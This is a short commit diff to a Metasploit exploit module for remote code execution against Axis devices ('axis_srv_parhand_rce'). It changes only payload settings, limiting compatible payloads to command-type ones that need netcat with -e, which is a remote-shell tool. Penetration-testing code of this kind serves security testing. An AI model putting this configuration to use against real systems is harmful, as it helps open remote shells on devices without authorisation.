Clamp compatible payloads until we know better

modules/exploits/linux/http/axis_srv_parhand_rce.rb

@@ -44,7 +44,11 @@ class MetasploitModule < Msf::Exploit::Remote
          'Platform'    => 'unix',
          'Arch'        => ARCH_CMD,
          'Type'        => :unix_memory,
-         'Payload'     => {'BadChars' => ' ', 'Encoder' => 'cmd/ifs'}
+         'Payload'     => {
+           'BadChars'  => ' ',
+           'Encoder'   => 'cmd/ifs',
+           'Compat'    => {'PayloadType' => 'cmd', 'RequiredCmd' => 'netcat-e'}
+         }
         ],
 =begin
         ['Linux Dropper',